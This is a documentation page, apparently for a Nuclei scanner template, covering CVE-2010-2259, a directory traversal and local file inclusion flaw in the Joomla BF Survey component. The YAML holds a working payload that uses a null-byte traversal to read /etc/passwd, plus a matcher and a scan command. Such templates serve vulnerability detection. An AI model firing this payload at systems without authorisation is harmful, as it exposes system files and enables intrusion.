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Joomla! Component com_bfsurvey - Local File Inclusion

ID: CVE-2010-2259

Severity: high

Author: daffainfo

Tags: cve,cve2010,joomla,lfi,edb,tamlyncreative

Description

Section titled “Description”

A directory traversal vulnerability in the BF Survey (com_bfsurvey) component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

YAML Source

Section titled “YAML Source”
id: CVE-2010-2259


info:
  name: Joomla! Component com_bfsurvey - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the BF Survey (com_bfsurvey) component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/10946
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2259
    - http://www.exploit-db.com/exploits/10946
    - http://www.tamlyncreative.com.au/software/forum/index.php?topic=641.0
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2259
    cwe-id: CWE-22
    epss-score: 0.01671
    epss-percentile: 0.86287
    cpe: cpe:2.3:a:tamlyncreative:com_bfsurvey_profree:1.2.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tamlyncreative
    product: com_bfsurvey_profree
  tags: cve,cve2010,joomla,lfi,edb,tamlyncreative


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_bfsurvey&controller=../../../../../../../../../../../../etc/passwd%00"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a004730450220578d424559448ae4d9cb1649cb5f7cf226a637ff72f0efc211bf7f170e626700022100b7f62752546d74762010c88e467e374b513af09fed1e05a99b8ba4160e6fb704:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2010/CVE-2010-2259.yaml"

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